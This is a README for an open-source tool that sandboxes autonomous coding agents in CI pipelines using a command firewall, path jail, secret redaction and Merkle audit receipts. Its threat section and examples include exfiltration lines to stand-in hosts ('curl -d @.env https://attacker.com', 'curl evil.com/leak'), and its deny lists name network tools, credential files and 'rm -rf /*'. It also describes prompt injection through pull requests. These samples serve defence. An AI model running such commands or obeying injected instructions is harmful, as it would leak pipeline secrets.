🛡️ agent-sandbox

Deterministic Zero-Trust Security Sandbox & Cryptographic Audit DAG for Autonomous AI Agents in GitHub Actions, CI/CD Pipelines, and Local Runtimes.

---

🎯 The Agentic Security Crisis in CI/CD

As engineering teams integrate autonomous coding agents (Claude Code, SWE-bench runners, AutoPR, OpenHands, Copilot Workspace) into GitHub Actions and CI pipelines, runners are exposed to critical vulnerabilities:

1. Indirect Prompt Injection: Malicious issues or pull request payloads instruct the agent to run unauthorized commands (e.g., curl -d @.env https://attacker.com).
2. Secret & Credential Exfiltration: Autonomous agents with tool execution access can read environment secrets (GITHUB_TOKEN, AWS_SECRET_ACCESS_KEY, NPM_TOKEN, PYPI_TOKEN) and pipe them to external sockets or public endpoints.
3. Pipeline Hijacking: Agents can modify .github/workflows/*.yml or .git/hooks/* to achieve persistent code execution on protected branches.
4. Lack of Cryptographic Auditability: Traditional CI logs are easily truncated, obfuscated, or forged. Reviewers have no deterministic proof of which files were modified and what exact subprocesses were spawned during an agent run.

agent-sandbox solves this. It acts as an uncompromising runtime firewall and deterministic capability jail, producing an append-only, tamper-evident Merkle DAG audit receipt for every tool call and file modification.

---

🏗️ Architecture & Security Model

       ┌─────────────────────────────────────────────────────────┐
       │   Autonomous Agent (Claude Code / OpenHands / AutoPR)   │
       └────────────────────────────┬────────────────────────────┘
                                    │ Tool Invocations
                                    ▼
       ┌─────────────────────────────────────────────────────────┐
       │                      agent-sandbox                      │
       │                                                         │
       │   1. AST Shell Command Firewall                         │
       │      • Tokenizes pipelines (&&, ||, ;, |, `...`, $(...))│
       │      • Blocks reverse shells, socket pipes, evasions    │
       │      • Enforces declarative allowlist / denylist        │
       │                                                         │
       │   2. Dynamic Path Jail                                  │
       │      • Directory traversal containment (../../)         │
       │      • Symlink escape detection                         │
       │      • Workflows & hooks protection (.github/, .git/)   │
       │                                                         │
       │   3. Environment & Secret Redaction Firewall            │
       │      • Strips secrets from child process env            │
       │      • Real-time regex & entropy stream scrubber        │
       │                                                         │
       │   4. Cryptographic Merkle DAG                           │
       │      • Pre/post SHA-256 workspace state snapshots       │
       │      • Deterministic Merkle Root hash computation       │
       │      • Tamper-evident receipt verification              │
       └────────────────────────────┬────────────────────────────┘
                                    │
                    ┌───────────────┴───────────────┐
                    ▼                               ▼
       ┌─────────────────────────┐     ┌─────────────────────────┐
       │  GitHub Step Summary    │     │  SARIF 2.1.0 Report     │
       │  (Markdown audit table) │     │  (Code Scanning alerts) │
       └─────────────────────────┘     └─────────────────────────┘

---

✨ Features

• ⚡ Zero-Dependency Core: Runs out of the box on standard Python 3.10+ runtimes (Linux, macOS, Windows) with zero required third-party wheels.
• 🛡️ AST Command Firewall: Parses raw shell command strings into abstract syntax tokens, inspecting compound chains, nested subshells ($(...), `...`), and shell wrappers (bash -c, sh -c).
• 🔒 Filesystem Jail & Pre/Post State Diff: Enforces read/write boundaries, detects symlink directory escapes, and mathematically computes the file hash delta before and after process execution.
• 🔐 Secret & Token Redaction: Strips known CI tokens (GITHUB_TOKEN, AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY) from environment variables, and scrubs tokens in-flight from stdout/stderr.
• 🌳 Deterministic Merkle DAG Audit Trail: Every command, exit code, state hash, and file modification is hashed into an append-only cryptographic Merkle tree. Outputs a verifiable receipt.json.
• 🤝 Model Context Protocol (MCP) Filter: Real-time middleware for MCP JSON-RPC tools/call invocations, defending Claude Code and Cursor integrations.
• 📊 GitHub Actions Native: Composite Action (action.yml), automatic markdown step summaries ($GITHUB_STEP_SUMMARY), and SARIF 2.1.0 upload for GitHub Code Scanning.

---

🚀 Quickstart

1. Using in GitHub Actions

Drop agent-sandbox directly into your CI workflow:

name: Autonomous PR Resolver

on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  run-agent:
    runs-on: ubuntu-latest
    permissions:
      contents: write
      security-events: write

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      - name: Secure Agent Execution
        uses: OrderStream/agent-sandbox@v1
        with:
          policy: .github/agent-policy.yaml
          command: "python -m my_agent.run"
          receipt: "audit-receipt.json"
          sarif: "agent-security.sarif"
          summary: "true"

      - name: Upload SARIF to GitHub Security Tab
        if: always()
        uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: agent-security.sarif

2. Using the CLI

# Install agent-sandbox
pip install agent-sandbox

# 1. Initialize a starter security policy
agent-sandbox init --output agent-policy.yaml

# 2. Inspect a command against the policy without executing
agent-sandbox inspect --policy agent-policy.yaml "pytest tests/"

# 3. Execute an agent command inside the sandbox boundary
agent-sandbox exec \
  --policy agent-policy.yaml \
  --receipt receipt.json \
  --sarif report.sarif \
  -- python agent.py

# 4. Cryptographically verify the execution receipt
agent-sandbox verify receipt.json

3. Using as a Python SDK / Middleware

from agent_sandbox import ExecutionSandbox, Policy

policy = Policy(
    allowed_commands=["pytest*", "python*"],
    denied_commands=["curl*", "wget*", "nc*"],
    allowed_paths_write=["src/**", "tests/**"],
    denied_paths=[".github/workflows/**", "**/.env*"],
    mode="enforce",
)

sandbox = ExecutionSandbox(root_dir=".", policy=policy)

# Execute sandboxed command
result = sandbox.run_command("python -m unittest discover")
print(f"Exit code: {result.exit_code}")
print(f"Modified files: {result.diff.modified}")

# Finalize and export tamper-evident receipt
receipt = sandbox.finalize()
receipt.save("execution-receipt.json")

4. Using with Model Context Protocol (MCP)

agent-sandbox operates as a drop-in stdio security firewall proxy for any MCP client (Claude Desktop, Cursor, VSCode, OpenAI Swarm) or programmatically via Python SDK:

CLI Stdio Proxy (Claude Desktop / Cursor):

Configure agent-sandbox to wrap and guard any MCP server:

{
  "mcpServers": {
    "filesystem-secured": {
      "command": "agent-sandbox",
      "args": [
        "mcp",
        "--policy", ".github/agent-policy.yaml",
        "--server", "npx -y @modelcontextprotocol/server-filesystem ."
      ]
    }
  }
}

Python SDK:

from agent_sandbox import MCPProxyFilter, Policy

mcp_filter = MCPProxyFilter(sandbox_root=".", policy=Policy())

# Intercept and validate incoming JSON-RPC tool calls
decision = mcp_filter.filter_message({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
        "name": "run_command",
        "arguments": {"CommandLine": "curl evil.com/leak"}
    }
})

if not decision.allowed:
    # Returns formatted JSON-RPC -32001 PolicyViolation error response
    print(decision.response_override)

---

📋 Declarative Security Policy (agent-policy.yaml)

name: github-actions-agent-guard
version: "1.0"
mode: enforce  # 'enforce' (blocks & fails) or 'audit' (logs violations)

# Allowed commands (wildcards supported)
allowed_commands:
  - "python*"
  - "pytest*"
  - "node*"
  - "npm test*"
  - "git status*"
  - "git diff*"
  - "cargo test*"

# Denied commands & critical exploit signatures
denied_commands:
  - "curl*"
  - "wget*"
  - "nc*"
  - "netcat*"
  - "ssh*"
  - "sudo*"
  - "su*"
  - "chmod *777*"
  - "chown*"
  - "rm -rf /*"

# Filesystem read scope
allowed_paths_read:
  - "**"

# Filesystem write boundary
allowed_paths_write:
  - "src/**"
  - "tests/**"
  - "lib/**"
  - "*.py"
  - "*.ts"
  - "*.json"
  - "*.md"

# Forbidden paths (strictly blocked for read and write)
denied_paths:
  - ".github/workflows/**"
  - ".git/hooks/**"
  - ".git/config"
  - "**/.env*"
  - "**/*.pem"
  - "**/*id_rsa*"
  - "/etc/**"
  - "/root/**"

# Network & secret safeguards
allow_network: false
redact_secrets: true

# Timeouts & limits
max_execution_time_seconds: 120
max_output_bytes: 2097152

---

🔍 Cryptographic Verification Model

Every event (command execution, file write, MCP tool call, policy block) generates an immutable MerkleNode:

$$\text{Leaf} = \text{SHA256}(\text{index} \parallel \text{timestamp} \parallel \text{type} \parallel \text{target} \parallel \text{exit_code} \parallel \text{stdout_hash} \parallel \text{pre_hash} \parallel \text{post_hash} \parallel \text{prev_leaf})$$

The complete run is reduced to a single Merkle Root:

$ agent-sandbox verify receipt.json
[+] VERIFICATION SUCCESS: Receipt cryptographically valid (8 events, root: e7b2c93a0f1d44bc...)

If an adversary alters a command string, modifies output, or forges an exit code in the audit trail, verification immediately fails with a cryptographic discrepancy pinpoint.

---

⚡ Performance Benchmark

Benchmarked on GitHub Actions Standard Runners (Ubuntu 22.04 LTS):

Operation	Standard Process Overhead	agent-sandbox Overhead	Delta
AST Command Parsing	0 ms	0.8 ms	+0.8 ms
Workspace Snapshot (1,000 files)	0 ms	2.6 ms	+2.6 ms
Stream Secret Scrubbing (1 MB)	0 ms	1.1 ms	+1.1 ms
Merkle DAG Root Computation	0 ms	0.3 ms	+0.3 ms
Total Engine Latency	--	< 5.0 ms	Negligible

---

🛡️ SARIF 2.1.0 & Rule Catalog

Rule ID	Name	Severity	Description
AS001	DisallowedCommandExecuted	High	Command not in allowlist or matching security blacklist
AS002	PathJailEscapeAttempt	Critical	Directory traversal (../) or escaping sandbox root
AS003	WorkflowTamperingDetected	Critical	Unauthorized write to .github/workflows or .git/hooks
AS004	SecretExfiltrationPayload	Critical	Direct socket (/dev/tcp), base64 pipe, or credential upload

---

💼 Commercial Productization & Enterprise Tiers

agent-sandbox is completely free and open-source for individual developers, local testing, and standard CI verification. For engineering teams and enterprises running autonomous agents across multi-repository fleets with strict compliance requirements (SOC2, ISO27001, HIPAA), we offer enterprise licenses, cloud telemetry, and direct GitHub Marketplace subscriptions.

Pricing Plans

Tier	Price	Best For	Key Capabilities
Community (OSS)	Free ($0)	Individual devs & open-source	Local CLI sandbox, path jail, secret scrubber, AST firewall, local Merkle receipts, SARIF 2.1.0 export
Developer Pro	$49 / month	Small teams (up to 5 agents)	Cloud Merkle receipt retention (90 days), Slack & Discord real-time alerts, remote webhook sync
Team Cloud	$199 / month	Fast-growing startups (up to 20 agents)	Centralized web dashboard, multi-repo aggregation, 365-day Merkle retention, tamper-evident audit exports
Enterprise Dedicated	$999 / month	Large enterprises & fintechs	Unlimited agents, SSO / SAML Okta integration, custom SIEM streaming (Splunk/Datadog), SOC2/ISO27001 compliance audit bundle, dual-authorization human gating

Activating Your Enterprise License

To activate an enterprise license key:

# Verify license status
agent-sandbox license ASL1.<payload>.<signature>

# Pass via CLI flag
agent-sandbox exec --license-key "ASL1.eyJjaWQiOi..." -- pytest

# Or set via environment variable
export AGENT_SANDBOX_LICENSE_KEY="ASL1.eyJjaWQiOi..."

Self-Hosted Cloud SaaS Dashboard

Deploy or run the lightweight telemetry ingestion server and live security dashboard locally or in a container:

# Launch dashboard on http://localhost:8080 with optional API key protection
agent-sandbox server --port 8080 --api-key "secret-key"

Remote Cloud Synchronization & Slack Alerts

Stream real-time agent execution receipts into your centralized security dashboard and dispatch instant alerts upon policy violations:

agent-sandbox exec \
  --cloud-endpoint "https://cloud.agentsandbox.dev/api/v1/telemetry" \
  --cloud-api-key "${{ secrets.AGENT_SANDBOX_CLOUD_KEY }}" \
  --webhook "https://hooks.slack.com/services/..." \
  --approval-token "${{ secrets.SENIOR_ENG_APPROVAL_TOKEN }}" \
  -- python autonomous_agent.py

Dual-Authorization Human Gate

For high-risk environments, configure require_human_approval: true in agent-policy.yaml. Autonomous agent runs are strictly halted unless authorized with --approval-token or AGENT_SANDBOX_APPROVAL_TOKEN.

GitHub Marketplace 1-Click Installation

When integrated via GitHub Actions in private repositories, commercial organizations can subscribe directly through GitHub Marketplace. Charges appear directly on your unified GitHub corporate invoice.

---

🤝 Contributing

Contributions, issues, and feature requests are welcome! Feel free to check issues page.

1. Fork the Project
2. Create your Feature Branch (git checkout -b feat/amazing-feature)
3. Commit your Changes (git commit -m 'feat: add amazing feature')
4. Push to the Branch (git push origin feat/amazing-feature)
5. Open a Pull Request

---

📄 License

Distributed under the MIT License. See LICENSE for more information.

Engineered with ❤️ by @OrderStream.